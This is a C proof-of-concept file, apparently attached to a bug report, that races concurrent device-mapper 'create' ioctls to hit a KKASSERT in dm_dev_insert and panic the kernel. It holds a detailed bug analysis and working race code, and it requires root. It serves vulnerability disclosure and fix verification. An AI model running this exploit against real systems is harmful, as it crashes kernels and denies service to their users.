DF-2442 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 | /* * DF-2442 PoC -- dm_dev_insert KKASSERT panic via concurrent create race. * * Bug (sys/dev/disk/dm/dm_dev.c, dm_dev_insert, line 195): * * 172: int * 173: dm_dev_insert(dm_dev_t *dev) * 174: { * ... * 187: if (memcmp(dev->uuid, dummy_uuid, DM_UUID_LEN)) * 188: dmv = dm_dev_lookup_uuid(dev->uuid); * 189: * 190: if ((dmv == NULL) && * 191: (_dm_dev_lookup(dev->name, NULL, dev->minor) == NULL)) { * 192: TAILQ_INSERT_TAIL(&dm_dev_list, dev, next_devlist); * 193: dm_dev_counter++; * 194: } else { * 195: KKASSERT(dmv != NULL); <-- BUG: dmv is NULL here * 196: r = EEXIST; * 197: } * * When dev->uuid is zero-filled (the NORMAL case for dm devices created * without a uuid via the create ioctl), the uuid lookup at 187-188 is * SKIPPED, so dmv stays NULL. If another device with the same name was * inserted between the pre-check (dm_dev_create_ioctl:207 dm_dev_lookup) * and this point (a TOCTOU race), _dm_dev_lookup at 191 returns non-NULL, * we enter the else-branch with dmv==NULL, and KKASSERT(dmv != NULL) fires. * * TRIGGER: Race two or more concurrent `create` ioctls for the SAME device * name. Both pass the early dm_dev_lookup (not found), both proceed to * dm_dev_insert. The first inserts successfully; the second finds the name * already present and hits KKASSERT(NULL) -> kernel panic. * * This is a classic TOCTOU: the early check (dm_dev_create_ioctl line 207) * and the insert (dm_dev_insert) are not atomic. The dm_dev_mutex is held * during insert, but released between the early lookup and the insert. * * RACE STRATEGY: Fork N children, synchronize them on a pipe barrier, then * have all fire create() for the same name simultaneously. Run multiple * rounds to increase hit probability. On the unpatched kernel, the * KKASSERT panics; on a fixed kernel, the loser gets EEXIST cleanly. * * PRIVILEGE NOTE: /dev/mapper/control is 0640 root:operator. maxx (uid 1001) * is NOT in operator/wheel. This PoC must run as root. There is no * unprivileged path (valid hard blocker for uid0). This is a root->kernel * DoS. KKASSERT panic has no write primitive, so no escalation chain. * * Build: cc -O2 -o poc poc.c -lprop * Run: ./poc [num_children] [num_rounds] (as root, after `kldload dm`) * defaults: 8 children, 200 rounds */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <libprop/proplib.h> #include <dev/disk/dm/netbsd-dm.h> #define DM_CONTROL_DEV "/dev/mapper/control" #define DEV_NAME "df2442race" static int g_ctlfd = -1; static int send_ioctl(prop_dictionary_t dict) { return prop_dictionary_send_ioctl(dict, g_ctlfd, NETBSD_DM_IOCTL); } static prop_dictionary_t new_dm_dict(const char *command) { prop_dictionary_t dict; prop_array_t ver; dict = prop_dictionary_create(); ver = prop_array_create(); prop_array_add_uint32(ver, 4); prop_array_add_uint32(ver, 0); prop_array_add_uint32(ver, 0); prop_dictionary_set(dict, DM_IOCTL_VERSION, ver); prop_object_release(ver); prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command); prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0); return dict; } static int do_create(const char *name) { prop_dictionary_t dict = new_dm_dict("create"); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name); int rv = send_ioctl(dict); prop_object_release(dict); return rv; } static int do_remove(const char *name) { prop_dictionary_t dict = new_dm_dict("remove"); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name); int rv = send_ioctl(dict); prop_object_release(dict); return rv; } /* * Barrier: all children read 1 byte from pipe; parent writes 1 byte per * child to release them simultaneously. */ static void barrier_wait(int pipe_fd) { char c; read(pipe_fd, &c, 1); } static void barrier_release(int pipe_fd, int n) { char c = 'G'; int i; for (i = 0; i < n; i++) write(pipe_fd, &c, 1); } int main(int argc, char **argv) { int num_children = 8; int num_rounds = 200; int pipefd[2]; int round, i, status; pid_t *pids; if (argc > 1) num_children = atoi(argv[1]); if (argc > 2) num_rounds = atoi(argv[2]); if (num_children < 2) num_children = 2; pids = calloc(num_children, sizeof(pid_t)); g_ctlfd = open(DM_CONTROL_DEV, O_RDWR); if (g_ctlfd < 0) { fprintf(stderr, "[!] open %s: %s\n", DM_CONTROL_DEV, strerror(errno)); fprintf(stderr, " (need root; is `dm` loaded? run: kldload dm)\n"); return 1; } printf("[*] DF-2442 dm_dev_insert KKASSERT race\n"); printf("[*] Bug: dm_dev.c:195 KKASSERT(dmv != NULL) when uuid zero + name exists\n"); printf("[*] %d children x %d rounds, racing create('%s')\n", num_children, num_rounds, DEV_NAME); fflush(stdout); if (pipe(pipefd) < 0) { perror("pipe"); return 1; } for (round = 0; round < num_rounds; round++) { /* Clean up any leftover device from previous round. */ (void)do_remove(DEV_NAME); usleep(1000); /* Fork children. */ for (i = 0; i < num_children; i++) { pids[i] = fork(); if (pids[i] < 0) { perror("fork"); return 1; } if (pids[i] == 0) { /* Child: wait at barrier, then fire create. */ close(g_ctlfd); g_ctlfd = open(DM_CONTROL_DEV, O_RDWR); barrier_wait(pipefd[0]); int rv = do_create(DEV_NAME); /* Exit code: 0 = created, 17 = EEXIST */ _exit(rv == 0 ? 0 : (rv == EEXIST ? 17 : 1)); } } /* Parent: release all children simultaneously. */ usleep(500); /* let children reach barrier */ barrier_release(pipefd[1], num_children); /* Wait for all children. */ int created = 0, existed = 0, other = 0; for (i = 0; i < num_children; i++) { waitpid(pids[i], &status, 0); if (WIFEXITED(status)) { int ec = WEXITSTATUS(status); if (ec == 0) created++; else if (ec == 17) existed++; else other++; } else { other++; } } if ((round + 1) % 20 == 0 || round == 0) { printf("[round %3d] created=%d existed=%d other=%d\n", round + 1, created, existed, other); fflush(stdout); } /* * If the kernel is still alive after this round, continue. * On the unpatched kernel, the KKASSERT fires and the guest * panics -- the next round never executes (ssh drops). */ } printf("\n[*] All %d rounds completed without panic.\n", num_rounds); printf("[*] If running on the UNPATCHED kernel, the KKASSERT should\n"); printf("[*] have fired during one of the rounds (guest panic).\n"); printf("[*] If running on a FIXED kernel, this is expected (EEXIST\n"); printf("[*] returned cleanly instead of KKASSERT).\n"); (void)do_remove(DEV_NAME); close(g_ctlfd); return 0; } |